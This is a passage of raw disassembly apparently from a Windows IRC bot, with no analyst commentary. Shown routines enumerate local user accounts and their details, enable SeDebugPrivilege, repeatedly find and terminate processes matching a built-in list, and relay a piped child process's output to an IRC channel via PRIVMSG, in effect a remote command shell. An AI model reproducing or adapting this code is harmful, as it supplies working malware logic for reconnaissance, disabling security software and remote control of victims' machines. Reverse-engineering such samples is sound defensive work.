=============== S U B R O U T I N E ======================================= sub_419578 proc near ; CODE XREF: sub_419453+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4192CE push [esp+8+arg_4] mov esi, eax call sub_4192CE pop ecx pop ecx push eax push esi call dword_4CE1D0 pop esi retn sub_419578 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419599 proc near ; CODE XREF: sub_419453+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_4192CE push [ebp+arg_4] mov esi, eax call sub_4192CE pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CE360 test eax, eax mov [ebp+arg_0], eax jnz loc_419926 mov eax, [ebp+var_4] test eax, eax jz loc_419961 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41BEF6 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_4196B2 dec eax jz short loc_4196AB dec eax jz short loc_4196A4 mov eax, offset aUnknown ; "Unknown" jmp short loc_4196B7 ; --------------------------------------------------------------------------- loc_4196A4: ; CODE XREF: sub_419599+102j mov eax, offset aAdministrato_0 ; "Administrator" jmp short loc_4196B7 ; --------------------------------------------------------------------------- loc_4196AB: ; CODE XREF: sub_419599+FFj mov eax, offset aUser_1 ; "User" jmp short loc_4196B7 ; --------------------------------------------------------------------------- loc_4196B2: ; CODE XREF: sub_419599+FCj mov eax, offset aGuest_0 ; "Guest" loc_4196B7: ; CODE XREF: sub_419599+109j ; sub_419599+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409743 add esp, 20h pop edi pop ebx jmp short loc_419952 ; --------------------------------------------------------------------------- loc_419926: ; CODE XREF: sub_419599+35j push eax lea eax, [ebp+var_204] push offset unk_43C1C0 push eax call sub_41BEF6 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409743 add esp, 20h loc_419952: ; CODE XREF: sub_419599+38Bj cmp [ebp+var_4], 0 jz short loc_419961 push [ebp+var_4] call dword_4CE398 loc_419961: ; CODE XREF: sub_419599+40j ; sub_419599+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_419599 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419967 proc near ; CODE XREF: sub_401AA1+4658p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_4192CE push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 18h loc_4199A6: ; CODE XREF: sub_419967+12Bj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CE268 cmp eax, esi mov [ebp+var_C], eax jz short loc_419A07 cmp eax, 0EAh jz short loc_419A07 push eax push eax call sub_419ADD pop ecx push eax lea eax, [ebp+var_218] push offset unk_43C3B0 push eax call sub_41BEF6 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 24h jmp short loc_419A78 ; --------------------------------------------------------------------------- loc_419A07: ; CODE XREF: sub_419967+62j ; sub_419967+69j mov edi, [ebp+var_4] cmp edi, esi jz short loc_419A8B xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_419A78 loc_419A15: ; CODE XREF: sub_419967+E9j cmp edi, esi lea eax, [ebp+var_218] jz short loc_419A54 push dword ptr [edi] push offset aS_6 ; " %S" push eax call sub_41BEF6 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419A15 jmp short loc_419A78 ; --------------------------------------------------------------------------- loc_419A54: ; CODE XREF: sub_419967+B6j push offset unk_43C37C push eax call sub_41BEF6 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 1Ch loc_419A78: ; CODE XREF: sub_419967+9Ej ; sub_419967+ACj ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_419A8B push edi call dword_4CE398 xor edi, edi mov [ebp+var_4], edi loc_419A8B: ; CODE XREF: sub_419967+A5j ; sub_419967+116j cmp [ebp+var_C], 0EAh jz loc_4199A6 cmp edi, esi jz short loc_419AA3 push edi call dword_4CE398 loc_419AA3: ; CODE XREF: sub_419967+133j push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41BEF6 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_419967 endp ; =============== S U B R O U T I N E ======================================= sub_419ADD proc near ; CODE XREF: sub_41913D+41p ; sub_419332+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419B8F jz loc_419B88 cmp eax, 7Bh ja short loc_419B54 jz short loc_419B4A cmp eax, 5 jz short loc_419B40 cmp eax, 8 jz short loc_419B36 cmp eax, 32h jz short loc_419B2C cmp eax, 35h jz short loc_419B22 cmp eax, 57h jnz loc_419BDE push offset aInvalidParamet ; "Invalid parameter." jmp loc_419BFF ; --------------------------------------------------------------------------- loc_419B22: ; CODE XREF: sub_419ADD+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419BFF ; --------------------------------------------------------------------------- loc_419B2C: ; CODE XREF: sub_419ADD+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419BFF ; --------------------------------------------------------------------------- loc_419B36: ; CODE XREF: sub_419ADD+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419BFF ; --------------------------------------------------------------------------- loc_419B40: ; CODE XREF: sub_419ADD+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419BFF ; --------------------------------------------------------------------------- loc_419B4A: ; CODE XREF: sub_419ADD+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419BFF ; --------------------------------------------------------------------------- loc_419B54: ; CODE XREF: sub_419ADD+1Aj sub eax, 7Ch jz short loc_419B81 sub eax, 7C8h jz short loc_419B7A dec eax jz short loc_419B70 dec eax jnz short loc_419BDE push offset aDuplicateShare ; "Duplicate share name." jmp loc_419BFF ; --------------------------------------------------------------------------- loc_419B70: ; CODE XREF: sub_419ADD+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419BFF ; --------------------------------------------------------------------------- loc_419B7A: ; CODE XREF: sub_419ADD+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419BFF ; --------------------------------------------------------------------------- loc_419B81: ; CODE XREF: sub_419ADD+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419BFF ; --------------------------------------------------------------------------- loc_419B88: ; CODE XREF: sub_419ADD+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419BFF ; --------------------------------------------------------------------------- loc_419B8F: ; CODE XREF: sub_419ADD+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419BC8 jz short loc_419BC1 sub eax, 8ADh jz short loc_419BF3 dec eax dec eax jz short loc_419BBA dec eax jz short loc_419BB3 dec eax dec eax jnz short loc_419BDE push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419BFF ; --------------------------------------------------------------------------- loc_419BB3: ; CODE XREF: sub_419ADD+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419BFF ; --------------------------------------------------------------------------- loc_419BBA: ; CODE XREF: sub_419ADD+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419BFF ; --------------------------------------------------------------------------- loc_419BC1: ; CODE XREF: sub_419ADD+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419BFF ; --------------------------------------------------------------------------- loc_419BC8: ; CODE XREF: sub_419ADD+B9j sub eax, 8CAh jz short loc_419BFA sub eax, 17h jz short loc_419BF3 sub eax, 25h jz short loc_419BEC sub eax, 29h jz short loc_419BE5 loc_419BDE: ; CODE XREF: sub_419ADD+35j ; sub_419ADD+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419BFF ; --------------------------------------------------------------------------- loc_419BE5: ; CODE XREF: sub_419ADD+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419BFF ; --------------------------------------------------------------------------- loc_419BEC: ; CODE XREF: sub_419ADD+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419BFF ; --------------------------------------------------------------------------- loc_419BF3: ; CODE XREF: sub_419ADD+C2j ; sub_419ADD+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419BFF ; --------------------------------------------------------------------------- loc_419BFA: ; CODE XREF: sub_419ADD+F0j push offset aNetworkConnect ; "Network connection not found." loc_419BFF: ; CODE XREF: sub_419ADD+40j ; sub_419ADD+4Aj ... push offset dword_4DDEE0 call sub_41BEF6 pop ecx mov eax, offset dword_4DDEE0 pop ecx retn sub_419ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C11 proc near ; CODE XREF: sub_401AA1+469Dp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41DED4 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call dword_4280C8 ; GetComputerNameA lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41DED4 lea eax, [ebp+var_718] push eax call sub_41DEB7 add esp, 10h add eax, eax push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CE318 test eax, eax jnz short loc_419CA1 mov esi, offset dword_4DDCD8 push offset unk_43C6EC push esi call sub_41BEF6 pop ecx pop ecx jmp short loc_419CCA ; --------------------------------------------------------------------------- loc_419CA1: ; CODE XREF: sub_419C11+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_419ADD pop ecx mov esi, offset dword_4DDCD8 push eax push offset dword_43C6C0 push esi call sub_41BEF6 add esp, 14h loc_419CCA: ; CODE XREF: sub_419C11+8Ej mov eax, esi pop esi leave retn sub_419C11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419CCF proc near ; CODE XREF: sub_4174AA+45p ; sub_4174AA+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_428108 ; GetCurrentProcess push eax call dword_4CE2EC ; OpenProcessToken test eax, eax jnz short loc_419CEE leave retn ; --------------------------------------------------------------------------- loc_419CEE: ; CODE XREF: sub_419CCF+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CE2C4 ; LookupPrivilegeValueA test eax, eax jz short loc_419D2C cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419D15 or [ebp+var_8], 2 jmp short loc_419D19 ; --------------------------------------------------------------------------- loc_419D15: ; CODE XREF: sub_419CCF+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419D19: ; CODE XREF: sub_419CCF+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CE374 ; AdjustTokenPrivileges mov esi, eax loc_419D2C: ; CODE XREF: sub_419CCF+32j push [ebp+var_4] call dword_428070 ; CloseHandle mov eax, esi pop esi leave retn sub_419CCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D3A proc near ; CODE XREF: sub_401AA1+76E1p ; sub_419F5D+74p ... var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CE328, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_419F29 cmp dword_4CE30C, ebx jz loc_419F29 cmp dword_4CE21C, ebx jz loc_419F29 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419CCF pop ecx pop ecx push ebx push 0Fh call dword_4CE328 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_419F1C lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push edi call dword_4CE30C ; Process32First mov esi, dword_428070 test eax, eax jz loc_419F17 lea eax, [ebp+var_12C] push eax push edi call dword_4CE21C ; Process32Next test eax, eax jz loc_419F17 mov ebx, dword_42808C loc_419DF9: ; CODE XREF: sub_419D3A+1D5j xor edi, edi cmp [ebp+arg_10], edi jz short loc_419E56 loc_419E00: ; CODE XREF: sub_419D3A+E3j push off_43C720[edi] lea eax, [ebp+var_108] push eax call dword_428190 ; lstrcmpiA test eax, eax jz short loc_419E24 add edi, 4 cmp edi, 60h jb short loc_419E00 jmp loc_419EFD ; --------------------------------------------------------------------------- loc_419E24: ; CODE XREF: sub_419D3A+DBj push [ebp+var_124] push 0 push 1F0FFFh call ebx ; OpenProcess mov edi, eax test edi, edi jz loc_419EFD push 0 push edi call dword_428100 ; TerminateProcess test eax, eax jnz loc_419EFD loc_419E4E: ; CODE XREF: sub_419D3A+1A9j push edi call esi ; CloseHandle jmp loc_419EFD ; --------------------------------------------------------------------------- loc_419E56: ; CODE XREF: sub_419D3A+C4j cmp [ebp+arg_C], edi jnz loc_419EE8 cmp [ebp+arg_4], edi jz loc_419EFD push [ebp+var_124] push 8 call dword_4CE328 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov edi, eax mov [ebp+var_350], 224h jz short loc_419EA8 lea eax, [ebp+var_350] push eax push edi call dword_4CE1C8 ; Module32First push [ebp+var_124] test eax, eax jz short loc_419EAE lea eax, [ebp+var_230] jmp short loc_419EB4 ; --------------------------------------------------------------------------- loc_419EA8: ; CODE XREF: sub_419D3A+14Cj push [ebp+var_124] loc_419EAE: ; CODE XREF: sub_419D3A+164j lea eax, [ebp+var_108] loc_419EB4: ; CODE XREF: sub_419D3A+16Cj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_41BEF6 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h jmp loc_419E4E ; --------------------------------------------------------------------------- loc_419EE8: ; CODE XREF: sub_419D3A+11Fj push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_419F30 loc_419EFD: ; CODE XREF: sub_419D3A+E5j ; sub_419D3A+FDj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_4CE21C ; Process32Next test eax, eax jnz loc_419DF9 xor ebx, ebx loc_419F17: ; CODE XREF: sub_419D3A+9Dj ; sub_419D3A+B3j push [ebp+var_4] call esi ; CloseHandle loc_419F1C: ; CODE XREF: sub_419D3A+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419CCF pop ecx pop ecx loc_419F29: ; CODE XREF: sub_419D3A+3Aj ; sub_419D3A+46j ... xor eax, eax loc_419F2B: ; CODE XREF: sub_419D3A+221j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419F30: ; CODE XREF: sub_419D3A+1C1j push [ebp+var_124] push 0 push 1F0FFFh call ebx ; OpenProcess push [ebp+var_4] mov edi, eax call esi ; CloseHandle push 0 push edi call dword_428100 ; TerminateProcess test eax, eax jnz short loc_419F58 push edi call esi ; CloseHandle jmp short loc_419F29 ; --------------------------------------------------------------------------- loc_419F58: ; CODE XREF: sub_419D3A+217j xor eax, eax inc eax jmp short loc_419F2B sub_419D3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F5D proc near ; DATA XREF: sub_401AA1+2649o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset dword_43C950 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41BEF6 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419FBC push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409743 add esp, 14h loc_419FBC: ; CODE XREF: sub_419F5D+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419D3A add esp, 18h test eax, eax lea eax, [ebp+var_298] jnz short loc_419FEA push offset unk_43C914 jmp short loc_419FEF ; --------------------------------------------------------------------------- loc_419FEA: ; CODE XREF: sub_419F5D+84j push offset unk_43C8D8 loc_419FEF: ; CODE XREF: sub_419F5D+8Bj push eax call sub_41BEF6 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_41A01C push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409743 add esp, 14h loc_41A01C: ; CODE XREF: sub_419F5D+9Dj lea eax, [ebp+var_298] push eax call sub_415F45 push [ebp+var_14] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread pop edi pop esi sub_419F5D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A03B proc near ; CODE XREF: sub_401AA1+7683p ; sub_40B38F+4Dp arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] xor edi, edi inc edi push 0 push 1F0FFFh call dword_42808C ; OpenProcess mov esi, eax test esi, esi jz short loc_41A06D push 0 push esi call dword_428100 ; TerminateProcess test eax, eax jnz short loc_41A06D push esi xor edi, edi call dword_428070 ; CloseHandle loc_41A06D: ; CODE XREF: sub_41A03B+1Aj ; sub_41A03B+27j mov eax, edi pop edi pop esi retn sub_41A03B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41A072 proc near ; DATA XREF: sub_40121E+3B8o push esi xor esi, esi loc_41A075: ; CODE XREF: sub_41A072+1Ej push 1 push esi push esi push esi push esi push esi call sub_419D3A add esp, 18h push dword_43C718 call dword_428080 ; Sleep jmp short loc_41A075 sub_41A072 endp ; =============== S U B R O U T I N E ======================================= sub_41A092 proc near ; CODE XREF: sub_41A0C2+2Ap ; sub_41A0FA+7Ep ... mov eax, dword_4DE54C push esi mov esi, dword_428070 cmp eax, 0FFFFFFFFh jz short loc_41A0A6 push eax call esi ; CloseHandle loc_41A0A6: ; CODE XREF: sub_41A092+Fj mov eax, dword_4DE554 cmp eax, 0FFFFFFFFh jz short loc_41A0B3 push eax call esi ; CloseHandle loc_41A0B3: ; CODE XREF: sub_41A092+1Cj mov eax, dword_4DE548 cmp eax, 0FFFFFFFFh jz short loc_41A0C0 push eax call esi ; CloseHandle loc_41A0C0: ; CODE XREF: sub_41A092+29j pop esi retn sub_41A092 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A0C2 proc near ; CODE XREF: sub_401AA1+73CFp ; sub_41620D+14Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B650 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DE550 call dword_4280F0 ; WriteFile test eax, eax jnz short loc_41A0F5 call sub_41A092 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_41A0F5: ; CODE XREF: sub_41A0C2+28j xor eax, eax inc eax leave retn sub_41A0C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A0FA proc near ; CODE XREF: sub_41A181+D3p ; sub_41A181+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_4404C4 push [ebp+arg_4] call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_41A13D push 7D0h call dword_428080 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41BEF6 add esp, 10h jmp short loc_41A154 ; --------------------------------------------------------------------------- loc_41A13D: ; CODE XREF: sub_41A0FA+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_2 ; "%s" push eax call sub_41BEF6 add esp, 0Ch loc_41A154: ; CODE XREF: sub_41A0FA+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CE358 ; send test eax, eax jg short loc_41A17D call sub_41A092 loc_41A17D: ; CODE XREF: sub_41A0FA+7Cj xor eax, eax leave retn sub_41A0FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A181 proc near ; DATA XREF: sub_41A2D6+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DE558 loc_41A199: ; CODE XREF: sub_41A181+79j ; sub_41A181+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DE54C call dword_428198 ; PeekNamedPipe test eax, eax jz loc_41A267 cmp [ebp+var_4], edi jnz short loc_41A1FC lea eax, [ebp+var_8] push eax push dword_4DE548 call dword_428194 ; GetExitCodeProcess test eax, eax jz short loc_41A1F2 cmp [ebp+var_8], 103h jnz loc_41A28B loc_41A1F2: ; CODE XREF: sub_41A181+62j push 0Ah call dword_428080 ; Sleep jmp short loc_41A199 ; --------------------------------------------------------------------------- loc_41A1FC: ; CODE XREF: sub_41A181+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A213 loc_41A203: ; CODE XREF: sub_41A181+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A261 inc eax cmp eax, [ebp+var_4] jb short loc_41A203 loc_41A213: ; CODE XREF: sub_41A181+80j mov [ebp+var_4], esi loc_41A216: ; CODE XREF: sub_41A181+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DE54C call dword_4280EC ; ReadFile test eax, eax jz short loc_41A2B3 lea eax, [ebp+var_20C] push eax push ebx push dword_4DE58C call sub_41A0FA add esp, 0Ch jmp loc_41A199 ; --------------------------------------------------------------------------- loc_41A261: ; CODE XREF: sub_41A181+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A216 ; --------------------------------------------------------------------------- loc_41A267: ; CODE XREF: sub_41A181+45j push offset unk_43C9FC push ebx push dword_4DE58C call sub_41A0FA push [ebp+arg_0] call sub_40B56A add esp, 10h push 1 call dword_4280D4 ; ExitThread loc_41A28B: ; CODE XREF: sub_41A181+6Bj call sub_41A092 push offset unk_43C9D4 push ebx push dword_4DE58C call sub_41A0FA push [ebp+arg_0] call sub_40B56A add esp, 10h push edi call dword_4280D4 ; ExitThread loc_41A2B3: ; CODE XREF: sub_41A181+C3j push offset unk_43C9A4 push ebx push dword_4DE58C call sub_41A0FA push [ebp+arg_0] call sub_40B56A add esp, 10h push edi call dword_4280D4 ; ExitThread sub_41A181 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; 